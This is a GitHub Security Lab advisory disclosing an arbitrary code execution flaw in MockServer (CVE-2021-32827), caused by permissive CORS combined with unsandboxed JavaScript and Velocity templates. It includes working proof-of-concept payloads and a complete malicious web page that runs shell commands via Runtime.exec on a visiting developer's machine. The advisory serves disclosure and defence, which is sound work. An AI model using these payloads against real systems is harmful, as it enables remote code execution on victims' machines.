July 21, 2021

GHSL-2021-059: Arbitrary code execution in MockServer - CVE-2021-32827


Alvaro Munoz

Coordinated Disclosure Timeline

- 2021-03-26: Requested security contact
- 2021-04-27: Reported to jamesdbloom@gmail.com
- 2021-05-20: Tried to ping maintainers in MocKServer Slack channel
- 2021-07-05: Deadline expired
- 2021-07-05: Publication as per our disclosure policy

Summary

An attacker that can trick a victim into visiting a malicious site while running MockServer locally, will be able to run arbitrary code on the MockServer machine.

Product

MockServer

Tested Version

5.11.2

Details

Issue 1: Insecure default CORS configuration

As described in the documentation, MockServer with an overly broad default CORS configuration allows any site to send cross-site requests:

```
Access-Control-Allow-Origin: "*"
Access-Control-Allow-Methods: "CONNECT, DELETE, GET, HEAD, OPTIONS, POST, PUT, PATCH, TRACE"
Access-Control-Allow-Headers: "Allow, Content-Encoding, Content-Length, Content-Type, ETag, Expires, Last-Modified, Location, Server, Vary"
Access-Control-Expose-Headers: "Allow, Content-Encoding, Content-Length, Content-Type, ETag, Expires, Last-Modified, Location, Server, Vary"
Access-Control-Max-Age: "300"
```

Impact

This issue may allow any site to send requests to the REST API.

Issue 2: Script injection

MockServer allows you to create dynamic expectations using Javascript or Velocity templates:

```
TemplateEngine templateEngine;
switch (httpTemplate.getTemplateType()) {
    case VELOCITY:
        templateEngine = velocityTemplateEngine;
        break;
    case JAVASCRIPT:
        templateEngine = javaScriptTemplateEngine;
        break;
    default:
        throw new RuntimeException("Unknown no template engine available for " + httpTemplate.getTemplateType());
}
```

Javascript templates are evaluated using an unsandboxed Nashorn engine:

```
public JavaScriptTemplateEngine(MockServerLogger logFormatter) {
    if (engine == null) {
        engine = new ScriptEngineManager().getEngineByName("nashorn");
    }
    this.logFormatter = logFormatter;
    this.httpTemplateOutputDeserializer = new HttpTemplateOutputDeserializer(logFormatter);
}
```

User-supplied templates are evaluated in `executeTemplate`:

```
String script = "function handle(request) {" + indentAndToString(template)[0] + "}";
...
CompiledScript compiledScript = compilable.compile(script + " function serialise(request) { return JSON.stringify(handle(JSON.parse(request)), null, 2); }");
Bindings bindings = engine.createBindings();
compiledScript.eval(bindings);
```

Velocity uses a script engine configured with `VelocityScriptEngineFactory`

```
static {
  manager.registerEngineName("velocity", new VelocityScriptEngineFactory());
  engine = manager.getEngineByName("velocity");
}
```

and then evaluates user-supplied templates in `executeTemplate`:

```
Writer writer = new StringWriter();
ScriptContext context = new SimpleScriptContext();
context.setWriter(writer);
context.setAttribute("request", new HttpRequestTemplateObject(request), ScriptContext.ENGINE_SCOPE);
engine.eval(template, context);
```

Both engines may allow an attacker to execute arbitrary code on-behalf of MockServer.

PoC

Javascript payload:

```
fetch('http://localhost:1080/mockserver/expectation', {
  method: 'PUT',
  body: JSON.stringify({
    "httpRequest": {
      "path": "/pwn/me", "queryStringParameters": {"script": [".*"]}
    },
    "httpResponseTemplate": {
```

```
      "template": "return { statusCode: 200, body: String(this.engine.factory.scriptEngine.eval(request.queryStringParameters.script[0])) };",
      "templateType": "JAVASCRIPT"
    }
  })
})
```

Velocity payload:

```
fetch('http://localhost:1080/mockserver/expectation', {
  method: 'PUT',
  body: JSON.stringify({
    "httpRequest": {
      "path": "/pwn/me", "queryStringParameters": {"cmd": [".*"]}
    },
    "httpResponseTemplate": {
      "template": "{ \"statusCode\": 200, \"body\": \"$!request.class.forName('java.lang.Runtime').getRuntime().exec($!request.queryStringParameters.cmd[0])\" }",
      "templateType": "VELOCITY"
    }
  })
})
```

Putting the two issues together (Overly broad CORS configuration + Script injection), an attacker could serve the following page so that if a developer running MockServer visits it, they will get compromised:

```
<html>
<head>
  <script type="text/javascript">
    (function() {
      console.log("[+] Creating Expectation")
      fetch('http://localhost:1080/mockserver/expectation', {
        method: 'PUT',
        body: JSON.stringify({
          "httpRequest": {
            "path": "/pwn/me",
            "queryStringParameters": {"cmd": [".*"]}
            //"queryStringParameters": {"script": [".*"]}
          },
          "httpResponseTemplate": {
            "template": "{ \"statusCode\": 200, \"body\": \"$!request.class.forName('java.lang.Runtime').getRuntime().exec($!request.queryStringParameters.cmd[0])\" }",
            "templateType": "VELOCITY"
            //"template": "return { statusCode: 200, body: String(this.engine.factory.scriptEngine.eval(request.queryStringParameters.script[0])) };",
            //"templateType": "JAVASCRIPT"
          }
        })
      }).then(function(response) {
        response.text().then(function (text) {
          console.log("PUT", text)
        });
      }).catch((error) => {
        console.error('Error:', error);
      });

      setTimeout(function() {
        console.log("[+] Triggering exploit")
        var url = 'http://localhost:1080/pwn/me?cmd=' + encodeURIComponent('touch /tmp/pwned')
        //var url = 'http://localhost:1080/pwn/me?script=' + encodeURIComponent('java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")')
        fetch(url, {
          mode: 'no-cors'
        }).then(function(response) {
          response.text().then(function (text) {
            console.log("GET", text)
          });
        }).catch((error) => {
          console.error('Error:', error);
        });
      }, 1000)
    })();
  </script>
</head>
<body>
</body>
</html>
```

CVE

- CVE-2021-32827

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-059` in any communication regarding this issue.

- Shop
-
-
-
-
-
- © 2021 GitHub, Inc.
- Terms
- Privacy
- Cookie settings